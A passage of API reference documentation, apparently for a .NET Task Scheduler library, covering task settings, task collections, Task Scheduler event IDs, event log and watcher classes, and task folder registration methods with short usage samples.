the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + + Gets or sets an XML-formatted definition of the task settings. + + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable + property of ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run + only if the specified network profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Collection of running tasks in a . This class has no public constructor and can only be accessed via the + properties and functions within . + + + + Gets the number of registered tasks in the collection. + + + Gets the specified running task from the collection. + The index of the running task to be retrieved. + A instance. + + + Releases all resources used by this class. + + + Gets an IEnumerator instance for this collection. + An enumerator. + + + Returns a that represents this instance. + A that represents this instance. + + + Releases all resources used by this class. + + + + Contains all the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A 